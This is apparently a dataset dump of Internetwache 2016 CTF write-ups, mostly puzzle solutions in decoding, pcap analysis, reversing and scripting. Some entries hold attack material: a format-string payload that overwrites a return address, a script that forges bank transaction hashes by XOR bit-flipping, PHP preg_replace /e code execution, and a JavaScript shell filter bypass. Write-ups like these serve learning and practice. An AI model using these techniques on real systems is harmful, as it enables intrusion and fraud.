text_chunk
stringlengths 151
703k
|
---|
# Internetwache 2016 : Misc (50)
**Category:** misc |**Points:** 50 |**Name:** The hidden message |**Solves:** 347 |**Description:**
> My friend really can't remember passwords. So he uses some kind of obfuscation. Can you restore the plaintext?>> File: > 0000000 126 062 126 163 142 103 102 153 142 062 065 154 111 121 157 1130000020 122 155 170 150 132 172 157 147 123 126 144 067 124 152 102 1460000040 115 107 065 154 130 062 116 150 142 154 071 172 144 104 102 1670000060 130 063 153 167 144 130 060 113 0120000071
___
## Write-up
0000000 126 062 126 163 142 103 102 153 142 062 065 154 111 121 157 113
0000020 122 155 170 150 132 172 157 147 123 126 144 067 124 152 102 146
0000040 115 107 065 154 130 062 116 150 142 154 071 172 144 104 102 167
0000060 130 063 153 167 144 130 060 113 012
0000071
We noticed that the numbers go up to 7, so we assumed they were octal numbers. We converted these to hex:
56 32 56 73 62 43 42 6b 62 32 35 6c 49 51 6f 4b52 6d 78 68 5a 7a 6f 67 53 56 64 37 54 6a 42 664d 47 35 6c 58 32 4e 68 62 6c 39 7a 64 44 42 7758 33 6b 77 64 58 30 4b a
We converted this into text, giving us a base64:
V2VsbCBkb25lIQoKRmxhZzogSVd7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K
Converting the base64 into text gives us:
Well done!
Flag: IW{N0_0ne_can_st0p_y0u} |
# Internetwache 2016 : Rock with the wired shark! (misc70)
**Category:** misc |**Points:** 70 |**Name:** Rock with the wired shark! |**Solves:** 454 |**Description:**
> Sniffing traffic is fun. I saw a wired shark. Isn't that strange?>> Attachment: [misc70.zip](src/misc70.zip)
___
## Write-up
### Part OneUnzipping the package given to us we get a readme with```The shark won't bite you. Don't worry, it's wired!```
and a gzipped pcap.
Throwing the pcap onto wireshark, we see three sets of conversations between the server itself (192.168.1.41 to 192.168.1.41).First GET request was responded with an HTTP 401 UNAUTHORIZED error, and the second and third was responded with a HTTP 200 OK error.
Going into the follow TCP Stream of the second request, we find that a html page with two files (flag.txt and flag.zip) is transferred between the server and the client.Believe these are the files we are looking for :)
![](src/misc70screenie2.png)
### Part twoLooking into the next request/response the actually file (flag.zip) is being sent via a **application/octet-stream**
We then extract this file via **Export Selected Packet Bytes...** as a .zip file.
![](src/misc70screenie3.png)
### Part threeOpening this zip archive, we are met with a password lock.
![](src/misc70screenie5.png)
Trying out all the strings (including the readme) doesn't seem to work, so we went back into the pcap, and found that the authorization token that caused the second and third request to be OK was the password we were looking for in base64.
Converting that back into ascii gave us this:```flag:azulcrema```
Using **azulcrema** to unlock the zip, gave us our flag.txt ^.^```IW{HTTP_BASIC_AUTH_IS_EASY}``` |
# Internetwache 2016 : Code (70)
**Category:** Code |**Points:** 70 |**Name:** A numbers game II |**Solves:** 230 |**Description:**
> Math is used in cryptography, but someone got this wrong. Can you still solve the equations? Hint: You need to encode your answers.>>Attachment: code70.zip>>Service: 188.166.133.53:11071
___
## Write-upDownload the zip. The file looks like this:```pythondef encode(eq): out = [] for c in eq: q = bin(ord(c)^(2<<4)).lstrip("0b") q = "0" * ((2<<2)-len(q)) + q out.append(q) b = ''.join(out) pr = [] for x in range(0,len(b),2): c = chr(int(b[x:x+2],2)+51) pr.append(c) s = '.'.join(pr) return s```I replace the self.\_xor to ^ since I don't want a class.
The first loop is to transfer the result of the xor of ASCII value of any character in the equation and 32 to a 8-bit binary code.
The second loop is to transfer every two dit to a number then plused to 3.
So what we need to do is easy.
Just reverse the process.
1. First minus 3 then transfer to 2-digit binary code.2. put them together then split into 8-digit groups.3. Transfer the 8-digit binary code to int then do the xor again. (hint: a^b^b=a)4. get the equation, use the function in Code50 to calculate the result.5. encode the result and send to server. |
# Internetwache 2016 : Code (90)
**Category:** Code |**Points:** 90 |**Name:** Dark Forest |**Solves:** 94 |**Description:**
> Someone pre-ordered a forest and now I'm lost in it. There are a lot of binary trees in front and behind of me. Some are smaller or equal-sized than others. Can you help me to invert the path and find out of the forest? Hint: It's about (inverted) BSTs. Don't forget the spaces.>>Service: 188.166.133.53:11491
___
## Write-upWith only pre-order string, no one can establish that tree. Fortunately, the hint tells us that it's a BST(Binary Search Tree). Therefore, we can generate the tree.
use this as an example:```preOrder="[40, 38, 19, 6]"```As it's pre-order, the root is 40. And as it's a BST, we can tell the 38 and 19 is in 40's left children tree while 6 is in the right. Therefore, the tree can be easily generated using recursion.```pythondef CreateTree(root, nodeArray): root.data=int(nodeArray[0].strip()) nodeArray=nodeArray[1:] i=0 flag=False for i in range(0,len(nodeArray)): if int(nodeArray[i].strip())>root.data: flag=True break if flag: leftArray=nodeArray[0:i] rightArray=nodeArray[i:] else: leftArray=nodeArray rightArray=[] if len(leftArray)>0: root.left = Node() CreateTree(root.left, leftArray) if len(rightArray)>0: root.right = Node() CreateTree(root.right, rightArray)```To do the invert function, just use recursion, it's easy.```pythondef invert(root): if root != None: temp=root.left root.left=root.right root.right=temp invert(root.left) invert(root.right)``` |
### Misc 70 - Rock with the wired shark`Sniffing traffic is fun. I saw a wired shark. Isn't that strange?`
#ENIn this task we got dump.pcapng file to work on. We opened it in Wireshark and saw some tcp and http packets.Also HTTP GET /flag.zip request. If you follow tcp stream,
```GET /flag.zip HTTP/1.1Host: 192.168.1.41:8080Connection: keep-aliveAuthorization: Basic ZmxhZzphenVsY3JlbWE=Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36DNT: 1Referer: http://192.168.1.41:8080/Accept-Encoding: gzip, deflate, sdchAccept-Language: en-US,en;q=0.8,ht;q=0.6
HTTP/1.0 200 OKServer: servefile/0.4.4 Python/2.7.10Date: Fri, 13 Nov 2015 18:41:09 GMTContent-Length: 222Connection: closeLast-Modified: Fri, 13 Nov 2015 18:41:09 GMTContent-Type: application/octet-streamContent-Disposition: attachment; filename="flag.zip"Content-Transfer-Encoding: binary
PK.......x.mG....(...........flag.txtUT ...-FV.-FVux..............;......q.........9.....H.!... >B.....+:PK......(.......PK.........x.mG....(.........................flag.txtUT....-FVux.............PK..........N...z.....```
It's probably a zip file. So we need to get that. `File->Export->Http`. Yet it's password protected. After few seconds looking for password, basic authentication header is present in the request. It's base64. So `base64 -D <<< "ZmxhZzphenVsY3JlbWE="` to get password, unzip an archive containing flag.txt to get flag.```IW{HTTP_BASIC_AUTH_IS_EASY}```
#MNЭнэ даалгаварт flag нууцсан dump.pcapng файл өгөгдсөн ба үүнийг Wireshark -аар нээж үзвэл tcp болон http пакетууд мөн HTTP GET /flag.zipхүсэлт байв. Tcp follow stream гэж харваас
```GET /flag.zip HTTP/1.1Host: 192.168.1.41:8080Connection: keep-aliveAuthorization: Basic ZmxhZzphenVsY3JlbWE=Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36DNT: 1Referer: http://192.168.1.41:8080/Accept-Encoding: gzip, deflate, sdchAccept-Language: en-US,en;q=0.8,ht;q=0.6
HTTP/1.0 200 OKServer: servefile/0.4.4 Python/2.7.10Date: Fri, 13 Nov 2015 18:41:09 GMTContent-Length: 222Connection: closeLast-Modified: Fri, 13 Nov 2015 18:41:09 GMTContent-Type: application/octet-streamContent-Disposition: attachment; filename="flag.zip"Content-Transfer-Encoding: binary
PK.......x.mG....(...........flag.txtUT ...-FV.-FVux..............;......q.........9.....H.!... >B.....+:PK......(.......PK.........x.mG....(.........................flag.txtUT....-FVux.............PK..........N...z.....```
`File->Export->Http` гээд zip файлтай болтол задлахад нууц үг асууж байв. Хэдэн секунд нууц үг хайж байталHTTP хүсэлтийн толгойд Basic Authentication header байгаа нэр нууц үгийн хоршил магадгүй нууц үг байх.Base64 decode хийгээд `base64 -D <<< "ZmxhZzphenVsY3JlbWE="`, flag.txt байгаа архивийг задлаад флаг авав.```IW{HTTP_BASIC_AUTH_IS_EASY}``` |
## The hidden message (Misc, 50p)
My friend really can't remember passwords. So he uses some kind of obfuscation. Can you restore the plaintext? ###ENG[PL](#pl-version)
This was a really trivial task. Given text consisted of base-8 numbers, which interpreted asASCII yielded base64-encoded string. Reversing the encoding, we get the flag.
###PL version
Proste zadanie, polegające na zinterpretowaniu liczb w systemie ósemkowym jako kody znaków ASCII,a następnie odkodowanie powstałego tekstu za pomocą base64. |
# Internetwache 2016 : It's Prime Time! (60)
**Category:** code |**Points:** 60 |**Name:** It's Prime Time! |**Solves:** 388 |**Description:**
> We all know that prime numbers are quite important in cryptography. Can you help me to find some?>> Service: 188.166.133.53:11059
___
## Write-up
### Part ZeroWe were given a service which we connect using python sockets.
```import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('188.166.133.53',11059))data = s.recv(2048)print data```
And we get the first part```Hi, you know that prime numbers are important, don't you? Help me calculating the next prime!Level 1.: Find the next prime number after 8:```
### Part OneThe quesion is split by spaces, so it seemed easiest to use .split on the string to convert it to an array.```data = s.recv(2048)question = data.split(' ')print question```
### Part Two
Using Bertrand's postulate for finding the next prime number, it solves easily```x = int(question[8][:1])y = 2for x in range(int(question[8][:-2]) + 1, 2 * int(question[8][:-2])): if x % 2 != 0: for y in range(2, x / 2 + 1): if x % y == 0: break if x % y == 0: continue else: print "Sending " + str(x) s.send(str(x) + "\n") break```
We get the flag after 100 solves we get the flag:```IW{Pr1m3s_4r3_!mp0rt4nt}```
[See full script here](src/code60.py) |
## Mess of Hash (Web, 50p)
Students have developed a new admin login technique. I doubt that it's secure, but the hash isn't crackable. I don't know where the problem is... ###ENG[PL](#pl-version)
In this task, we got a hash of password and are asked to log into the account. The hash was asfollows: 0e408306536730731920197920342119. We can notice it is pretty strange: only one 'e' letter,and the rest of characters are digits. We can guess that the hash is incorrectly compared tothe stored one, and it gets interpreted as number 0. We could generate another password withsuch property in a reasonable amount of time using attached script.
###PL version
W tym zadaniu dostaliśmy hash hasła: 0e408306536730731920197920342119. Wygląda on dość nietypowo,gdyż ma tylko jedną literę 'e', a reszta znaków to cyfry. Jeśli zinterpretować go jako liczbęz wykładnikiem, dostaniemy 0. Korzystając z załączonego skryptu, generujemy dowolne hasło z hashem o takiej własności w sensownym czasie. |
## ServerfARM (RE, 70p)
Description: Someone handed me this and told me that to pass the exam, I have to extract a secret string. I know cheating is bad, but once does not count. So are you willing to help me?
###ENG[PL](#pl-version)
After reversing the provided ARM binary, we quickly find some print statements printinghardcoded characters and short strings, such as `printf("%s%c", "IW",'{')`. Gathering allof them, we quickly get the password.
###PL version
Spojrzawszy na zdeasemblowany kod ARMowej binarki, zauważamy miejsce, w którym następujewypisywanie flagi. Skłąda się ona z kilku/kilkunastu wypisań znaków i krótkich stringów, jak`printf("%s%c", "IW",'{')`. Po zebraniu wszystkich z nich, dostajemy flagę. |
## Hashdesigner (Crypto, 70p)
There was this student hash design contest. All submissions were crap, but had promised to use the winning algorithm for our important school safe. We hashed our password and got '00006800007d'. Brute force isn't effective anymore and the hash algorithm had to be collision-resistant, so we're good to go, aren't we? ###ENG[PL](#pl-version)
In this task we got homemade hashing code. Although description says brute force is impossible,it is easy to see that hash is effectively only two bytes long, which makes bruting it very easy.Reusing given code, we quickly created a collision and submitted it manually to the service.
###PL version
W tym zadaniu dostejemy domowej roboty kod hashujący. Łatwo zauważyć, że ma on efektywnie tylkodwa bajty długości, więc pomimo opisu zadania, zbrutowanie go jest proste. Korzystając z kodu,który dostaliśmy, szybko znaleźliśmy kolizję i wysłaliśmy hasło. |
## Eso Tape (RE, 80p)
Description: I once took a nap on my keyboard. I dreamed of a brand new language, but I could not decipher it nor get its meaning. Can you help me? Hint: Replace the spaces with either '{' or '}' in the solution. Hint: Interpreters don't help. Operations write to the current index.
###ENG[PL](#pl-version)
This was a fun task. We were given a source code of an unknown programming language.We assumed it would print out the flag. First observation we made, was that number of `@*`, `@**` and `@***` instructions was about right for the flag, and ther distribution amongcode was about uniform - so we assumed those were print statements. This is start of code:```## %% %++ %++ %++ %# *&* @** %# **&* ***-* ***-* %++ %++ @*** ```This code should print out `IW`. After trying many things, we noticed that I is 9th letter ofalphabet, which is `3*3` - and 3 is the number of `@++` instructions, so `*&*` was likelymultiplication. We also guessed that `*`, `**` and `***` refer to distinct "registers" ofmachine. Since the first print statement prints from the second register, something had to beput there - after some trial and error, we concluded that `%#` is something like "move currentwrite pointer to the next register". We wrote interpreter up to this part, at which point we gotstuck. After some time, admin hinted on IRC, that this is a real language. Looking it up on esolang website, we found out it is `TapeBagel`. After finishing up the interpreter, we got flag.
###PL version
To byłe ciekawe zadanie - dostaliśmy plik z kodem w nizenanym języku programowania. Naturalnie założyliśmy, że wypisuje on flagę. Patrząc na liczbę instrukcji z `@`, domyśliliśmy się, żesą to instrukcje wypisania. Początek kodu:```## %% %++ %++ %++ %# *&* @** %# **&* ***-* ***-* %++ %++ @*** ```Ten kod powinien zatem wypisywać `IW`. Po dłuższej chwili zauważyliśmy, że I jest dziewiątą literą alfabetu, a `9=3*3`, przy czym 3 to ilość instrukcji `%++`, które zapewne zwiększają jakąś liczbę.Zatem `*&*` zapewne mnoży liczbę `*` przez samą siebie. Później wpadliśmy na to, że `*`, `**`, `***` to zapewne kolejne rejestry maszyny. Ponieważ `@**` wypisuje dopiero drugi rejestr, cośmusiało być do niego wcześniej włożone. W ten sposób wymyślilismy, że `%#` to "zwiększaniewskaźnika". Napisaliśmy interpreter uwzględniający znane już nam instrukcje, nie mogliśmywypisać nic więcej niż `IW ILOV`. Po jakimś czasie admin napisał na IRCu, że to prawdziwy język.Poszukalismy więc na stronie esolang tegoż, i znaleźliśmy - jest to `TapeBagel`. Dokończywszyinterpreter, dostaliśmy flagę. |
## Oh Bob! (Crypto, 60p)
Alice wants to send Bob a confidential message. They both remember the crypto lecture about RSA. So Bob uses openssl to create key pairs. Finally, Alice encrypts the message with Bob's public keys and sends it to Bob. Clever Eve was able to intercept it. Can you help Eve to decrypt the message? ###ENG[PL](#pl-version)
In this task we got three public RSA keys and a `secret.enc` file containing three base64-encoded strings. After extracting modulus and exponent from the keys, we notice that modulus is somewhat short. After passing it to `yafu`, we found `p` and `q`, from which we could easilydecrypt the messages.
###PL version
W tym zadaniu dostaliśmy trzy klucze publiczne RSA, którymi zakodowano trzy wiadomości zawartew pliku `secret.enc`. Po wyciągnięciu `n` z klucza, zauważamy że jest on dość krótki. Program`yafu` szybko sobie poradził z jego faktoryzacją, po czym odkodowaliśmy wiadomości. |
## 404 Flag not found (Misc, 80p)
I tried to download the flag, but somehow received only 404 errors :( Hint: The last step is to look for flag pattern. ###ENG[PL](#pl-version)
This task wsa more of stegano than misc. Pcap file contained a lot of requests to sites such as12332abc.example.com. After collecting all of them, getting rid of all parts except of first,and hex-decoding them, we got:```In the end, it's all about flags.Whether you win or lose doesn't matter.{Ofc, winning is coolerDid you find other flags?Noboby finds other flags!Superman is my hero._HERO!!!_Help me my friend, I'm lost in my own mind.Always, always, for ever alone.Crying until I'm dying.Kings never die.So do I.}!```Reading first character from each line, we got flag.
###PL version
Zadanie bardziej stegano niż misc. W pcapie było sporo żądań do stron w stylu 1232abe.example.com.Po zczytaniu ich wszystkich, zebraniu tylko pierwszych członów i odkodowaniu ich szesnastkowo,otrzymujemy:```In the end, it's all about flags.Whether you win or lose doesn't matter.{Ofc, winning is coolerDid you find other flags?Noboby finds other flags!Superman is my hero._HERO!!!_Help me my friend, I'm lost in my own mind.Always, always, for ever alone.Crying until I'm dying.Kings never die.So do I.}!```Czytając pierwsze znaki z każdej linii, dostajemy flagę. |
### Exploitation 80
>Description: Printer are very very important for offices. Especially for remote printing. My boss told me to build a tool for that task.>[RemotePrinter](./RemotePrinter)
**Strings** util find "YAY, FLAG: %s.". So by looking into the binary we can find that function:
![Flag](./flag.png)
Ok so we probably should call this function somehow manualy because it doesn't call explicitly. So let's analyze the code.
![Main](./main.png)
Brief overview of the main function give us info about that it gets IP&port and after that perform some function fcn.08048786. Btw by launching remote server we can understand that default stdin/out redirected to the network.
The quick overview of binary also gets
![Alloc](./allocate.png)
The notable thing it allocates 0x2028 for local variables. After it just connects to specified server's IP&port(next - printer) by default unix sockets.
![Vuln](./vuln.png)
Here it goes the interesting part. Server receive from printer 0x2000 bytes, so due it allocates much more we cannot perform [overflow of the stack](https://en.wikipedia.org/wiki/Buffer_overflow).The second interesting part is transfering received buffer directly to printf. Aha! Here we can use format specifiers!Let's test it! After testing server with bunch of %d we can understand that first number is buffer address(you can understand it from the code actually), buffer size, four empty values and our buffer, something like that:
![Buffer](./buf.png)
So we can exploit by writing at first 4 bytes return address, and write to that address value of function that print flags. We can do it with %n specifier. The last unanswered question is how to get address of return-eip. It can be easily calculated to the buffer address and that we've already got. **0xffffbcec + 0x2020 = 0xffffdd0c**.So our exploit is ```"\x0c\xdd\xff\xff%d%d%d%d%d%134514775d%n" ```(actually you can use parameter field of posix extension, it also should work).
In the end of output we get our flag: **YAY, FLAG: IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}** |
# Rev80 - Eso Tape
## Description
I once took a nap on my keyboard. I dreamed of a brand new language, but I could not decipher it nor get its meaning. Can you help me? Hint: Replace the spaces with either '{' or '}' in the solution. Hint: Interpreters don't help. Operations write to the current index.
## Solution
With a bit of research we found out that the programming language used in this challenge is called `TapeBagel`.
This is the program reversed.
```## resets all of the integers to zero%% resets the integer index to zero%++ i[0]++%++ i[0]++%++ i[0] = 3%# i[1]*&* i[1] = 9@** print i[1] -> 9 -> I%# i[2]**&* i[2] = i[0]*i[1] = 27***-* i[2] = i[2] - i[0] = 24***-* i[2] = 21%++ i[2]++%++ i[2]++@*** print i[2] -> 21 -> W*-* i[2] = 0@*** print i[2] -> ' ' -> {@** print i[1] -> 9 -> I*+** i[2] = i[1] + i[0] = 12@*** print i[2] -> 12 -> L***+* i[2] = i[2] + i[0] = 12 + 3 = 15@*** print i[2] -> 15 -> O**+** i[2] = i[1] + i[1] = 18***+* i[2] = i[2] + i[0] = 21%++ i[2]++@*** print i[2] -> 22 -> V#% sets all the integers to one%% resets the integer index to zero%++ i[0]++%++ i[0]++%++ i[0]++%++ i[0]++ -> i[0] = 5@* print i[0] -> 5 -> E%# adds one to the integer index%++ i[1]++%++ i[1]++ %++ i[1]++ -> i[1] = 4%% resets the integer index to zero*&** i[0] = i[0] * i[1] = 20@* print i[0] -> 20 -> T@*** print i[2] -> 1 -> A*-** i[0] = i[0] - i[1] = 16@* print i[0] -> 16 -> P%# adds one to the integer index%++ i[1]++ -> i[1] = 5@** print i[1] -> 5 -> E*-** i[1] = i[0] - i[1] = 11*-** i[1] = i[0] - i[1] = 5**-*** i[1] = i[1] - i[2] = 4**-*** i[1] = i[1] - i[2] = 3**-*** i[1] = i[1] - i[2] = 2@** print i[1] -> 2 -> B@*** print i[2] -> 1 -> A#% sets all the integers to one%% resets the integer index to zero%++ i[0]++%++ i[0]++%++ i[0]++%++ i[0]++ -> i[0] = 5%# adds one to the integer index*+** i[1] = i[0] + i[1] = 6%++ i[1]++ -> i[1] = 7@** print i[1] -> 7 -> G@* print i[0] -> 5 -> E%# adds one to the integer index*+** i[2] = i[0] + i[1] = 12@*** print i[2] -> 12 -> L## resets all of the integers to zero%% resets the integer index to zero@*** print i[2] -> 0 -> ' '```
In the end, ~~it doesn't even~~ the flag is `IW{ILOVETAPEBAGEL}` |
# IWCTF 2016 - Reversing - File Checker - 60 pts
> Description: My friend sent me this file. He told that if I manage to reverse it, I'll have access to all his devices. My misfortune that I don't know anything about reversing :/>> Attachment: [rev60.zip](rev60.zip)
# Write-up
```shell$ file filechecker filechecker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=564c7e61a18251b57f8c2c3dc205ed3a5b35cca6, stripped```
Executing the binary reveals, that it fails on opening '.password'
```shell$ ltrace ./filechecker __libc_start_main(0x400666, 1, 0x7ffc12dfa718, 0x400850 <unfinished ...>fopen(".password", "r") = 0printf("Fatal error: File does not exist"...) = 32Fatal error: File does not exist+++ exited (status 1) +++```
Creating the file and input some testing flag like "IW{abcdefg}" makes it run, but it just tells us, that we have the wrong chars.
Time to have a look at the disassembly. It shows, that it opens and read the file and then calls a test function for every character.
```000000000040079d mov rbp, rsp00000000004007a0 mov dword [ss:rbp+var_44], edi00000000004007a3 mov qword [ss:rbp+var_50], rsi00000000004007a7 mov dword [ss:rbp+var_40], 0x12ee00000000004007ae mov dword [ss:rbp+var_3C], 0x12e000000000004007b5 mov dword [ss:rbp+var_38], 0x12bc00000000004007bc mov dword [ss:rbp+var_34], 0x12f100000000004007c3 mov dword [ss:rbp+var_30], 0x12ee00000000004007ca mov dword [ss:rbp+var_2C], 0x12eb00000000004007d1 mov dword [ss:rbp+var_28], 0x12f200000000004007d8 mov dword [ss:rbp+var_24], 0x12d800000000004007df mov dword [ss:rbp+var_20], 0x12f400000000004007e6 mov dword [ss:rbp+var_1C], 0x12ef00000000004007ed mov dword [ss:rbp+var_18], 0x12d200000000004007f4 mov dword [ss:rbp+var_14], 0x12f400000000004007fb mov dword [ss:rbp+var_10], 0x12ec0000000000400802 mov dword [ss:rbp+var_C], 0x12d60000000000400809 mov dword [ss:rbp+var_8], 0x12ba0000000000400810 mov eax, dword [ss:rbp+var_44]0000000000400813 cdqe 0000000000400815 mov edx, dword [ss:rbp+rax*4+var_40]0000000000400819 mov rax, qword [ss:rbp+var_50]000000000040081d mov eax, dword [ds:rax]000000000040081f lea ecx, dword [ds:rdx+rax]0000000000400822 mov edx, 0x354ac9330000000000400827 mov eax, ecx0000000000400829 imul edx000000000040082b sar edx, 0xa000000000040082e mov eax, ecx0000000000400830 sar eax, 0x1f0000000000400833 sub edx, eax0000000000400835 mov eax, edx0000000000400837 imul eax, eax, 0x1337000000000040083d sub ecx, eax000000000040083f mov eax, ecx0000000000400841 mov rdx, qword [ss:rbp+var_50]0000000000400845 mov dword [ds:rdx], eax0000000000400847 nop 0000000000400848 pop rbp0000000000400849 ret ```
Hopper gives the following pseudo code for this:
```function sub_40079c { rcx = *(int32_t *)(rbp + sign_extend_32(arg0) * 0x4 + 0xffffffffffffffc0) + *(int32_t *)arg1; rax = rcx - ((SAR(rcx * 0x354ac933, 0xa)) - (SAR(rcx, 0x1f))) * 0x1337; *(int32_t *)arg1 = rax; return rax;}```
Though quite some shifting and calculations there, this boils down to:
`result = 0x1337 - (0x12ee + curchar)`
So in the end, every character gets summed with the value at the same index in the array `[0x12ee, 0x12e0, 0x12bc, 0x12f1, 0x12ee, 0x12eb, 0x12f2, 0x12d8, 0x12f4, 0x12ef, 0x12d2, 0x12f4, 0x12ec, 0x12d6, 0x12ba]`, which should result in `0x1337` to pass the validation.
```python#!/usr/bin/python
coll = [ 0x12ee, 0x12e0, 0x12bc, 0x12f1, 0x12ee, 0x12eb, 0x12f2, 0x12d8, 0x12f4, 0x12ef, 0x12d2, 0x12f4, 0x12ec, 0x12d6, 0x12ba ]
result = ""
for val in coll: res = 0x1337 - val result += chr(res)
print result```
This will calculate the password:
```shell$ python solver.py IW{FILE_CHeCKa}``` |
# Interpolation (Reverse, 400)
> NEWTON is an autonomous unmanned aerial vehicle (UAV). Where the UAV is refueled at t=180 ?
> Path planning:> t x y> 0; 35.645592; 50.951123;> 20; 35.144068; 50.467725;> 40; 34.729775; 48.204541;> 60; 34.204433; 46.117139;> 80; 33.602623; 44.908643;> 100; 33.162285; 42.337842;> 120; 33.712359; 40.140576;> 140; 33.931410; 38.580518;> 150; 33.894940; 37.745557;> 170; 33.474422; 36.273389;> 190; 35.32583531; 35.663648;> 210; 33.130089; 35.19047214;> 220; 32.409544; 35.141797;> 230; 32.085525; 34.786115;
> The flag is: [the bridge`s name near the refule place]_[Latitude of the place with 5 digits after the decimal point]_[Longitude of the place with 5 digits after the decimal point]
The name of the task was more than enough hint
To find coordinates in t=180 we used simple script:
```pythonx = [0,20,40,60,80,100,120,140,150,170,190,210,220,230]y = [35.645592,35.144068,34.729775,34.204433,33.602623,33.162285,33.712359, 33.931410,33.894940,33.474422,35.32583531,33.130089,32.409544,32.085525]y1 = [50.951123,50.467725,48.204541,46.117139,44.908643,42.337842,40.140576, 38.580518,37.745557,36.273389,35.663648,35.19047214,35.141797,34.786115]n = len(x)a = 180
def interpol (x ,y, n, a): coordinates = 0 for i in range(0,n): c = z = 1.0 for j in range(0,n): if j!=i: c=c*(a-x[j]) z=z*(x[i]-x[j]) coordinates = coordinates+((c/z)*y[i]) return coordinates
latitude = str(interpol(x,y,n, a))[:8]longitude = str(interpol(x,y1,n,a))[:8]
print "%s_%s" % (latitude,longitude)```
Google maps showed us a place, close to this place we found: Afqa Bridge
![afqa.png](afqa.png)
When we combined the name of the bridge and coordinates together according to guidelineswe got flag:
Afqa_34.06829_35.88253 |
# Misc90 - BarParty
## Description
Can you read the barcodes?
## Solution
This challenge was pretty fun. I printed the barcodes, cut them and put the barcode pieces together.
![bar-codes](photo.jpg)
Those three barcodes gave us the flag.
```Flag: IW{BAR_B4r_C0d3s}``` |
# Crypto90 - The Bank
## Description
Everyone knows that banks are insecure. This one super secure and only allows only 20 transactions per session. I always wanted a million on my account.
## Solution
We only have 20 transactions to get to the million.
When we create a transaction, we enter the amount we want to transfer and we get back a hash corresponding to that transaction. Then, to complete the transaction, we enter the transaction id and the hash. If the hash is correct, our account is credited with the amount we entered in the first command.
```WELCOME TO THE BANK BACKEND!
Possible commands: help - Prints this message create - Creates a new transaction with amount complete <tid> <hash> - Completes a transaction to the current account. <tid> is the transaction ID to use and <hash> the verification hash.
Your balance: 0, 20 transactions left.Command: create 100Transaction #0 over 100 initiated. Please complete it using the verification code: 201107233b6619255504600f301e7209Your balance: 0, 19 transactions left.Command: complete 0 201107233b6619255504600f301e7209Transaction completed!Your balance: 100, 19 transactions left.```
Let's first study how the hash are created by analyzing the function `encrypt`.
```pythondef encrypt(self, t): self.__r.set_x(t.get_k()) ct = "" s = str(t) l = len(s) for c in s: getnext = self.__r.get_next() print getnext print getnext % 2**7 ct += chr( ord(c) ^ (getnext % 2**7) ) print ct.encode('hex') return ct.encode('hex')```
`t.get_k()` returns a random 32 bits hash which is used to initialize the `Randomizer` object `__r`.Once we know the initial value of `__r` the subsequent `get_next` operations are determinists. The values of `__r.get_next()` are used to encrypt the message `TRANSACTION: xxxx` where `xxxx` is the amount of the transaction.
To exploit this program, we need to replace the space in the message `TRANSACTION: xxxx` by a `9`.
In order to do that, we isolate the encoded byte representing the `space` in the transaction hash and XOR it with the hexadecimal value of the `space` ascii code.
To automate the process, I wrote this little Python script.
```pythonimport sys
s = sys.argv[1]
c = s[24:26].decode('hex')x = ord(c) ^ 32c = ord('9') ^ xc = hex(c).lstrip("0x")
s = s[:24] + c + s[26:]
print s```
Now we can hack every transactions to change the amount.
```WELCOME TO THE BANK BACKEND!
Possible commands: help - Prints this message create - Creates a new transaction with amount complete <tid> <hash> - Completes a transaction to the current account. <tid> is the transaction ID to use and <hash> the verification hash.
Your balance: 0, 20 transactions left.Command: create 5000Transaction #0 over 5000 initiated. Please complete it using the verification code: 58295f2b531e713d7d4c481708522a016cYour balance: 0, 19 transactions left.Command: complete 0 58295f2b531e713d7d4c481711522a016cTransaction completed!Your balance: 95000, 19 transactions left.[...]Command: create 5000Transaction #11 over 5000 initiated. Please complete it using the verification code: 706137134b5649350574101f602a421944Your balance: 950000, 8 transactions left.Command: complete 11 706137134b5649350574101f792a421944Transaction completed!IW{SHUT_UP_AND_T4K3_MY_M000NEYY}Your balance: 1045000, 8 transactions left.``` |
# Internetwache 2016 : Replace with Grace (web60)
**Category:** web |**Points:** 60 |**Name:** Replace with Grace |**Solves:** 268 |**Description:**
> Regular expressions are pretty useful. Especially when you need to search and replace complex terms.>> Service: https://replace-with-grace.ctf.internetwache.org/
___
## Write-up
### Part OneEntering into the page, we are met with three fields which we assumed represented the **preg_match** function in php (it's a html page hosted on a web server, so why not assume its just php).
Looking for exploits on php preg_match, we came across [this page](http://www.madirish.net/402).
Seems like using **/(.*)/e** as the regex, will cause php to eval the second parameter literally.
### Part TwoSecond part was to list all files in the directory using php and we were able to find there was a **flag.php**. Seems fishy right???
Directory listing was done through scandir() which returned an array.
Another method to list a directory (and probably faster was to execute a bash command:
### Part ThreeFinal step was to open **flag.php** which was more troublesome than we thought.
Trying to run any php file stream related commands we get the following:![](src/web60screenie3.png)
So we figured to just use bash's cat
And that gave us the flag ^.^```IW{R3Pl4c3_N0t_S4F3}``` |
#Sh-ock###(exp90, solved by 105)
>Description: This is some kind of weird thing. I am sh-ocked.
>Service: 188.166.133.53:12589
First thing is first, let's see what we are working with...
`telnet 188.166.133.53 12589`
We are greeted with a small prompt where we can input data, let's try some stuff:
```$test[ReferenceError: te is not defined]```
That's weird, what kind of error is this? A quick Google search on the error provides information that this is likely a JavaScript error. So, it looks like we are working with some kind of JavaScript shell, and it's likely Node.
We input `test` and got `te` back... So, it reversed our input and grabbed ever other character... Interesting....
Let's try something else:
```$01234567890123456789012345[ReferenceError: 284062 is not defined]```
Hrmmmm...```0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 ^ ^ ^ ^ ^ ^```
Instead of every other character, now it's every third character...
After some vigorous attempts at figuring out how the filter was working, it was found that if the input exceeds 50 characters, it will take every 6th character. This means that as long as our input is greater than or equal to 9 bytes in length, we can just reverse our input and repeat each character 6 times. If the input is less than 9 characters, we could simply add a comment section to fulfill those bytes.
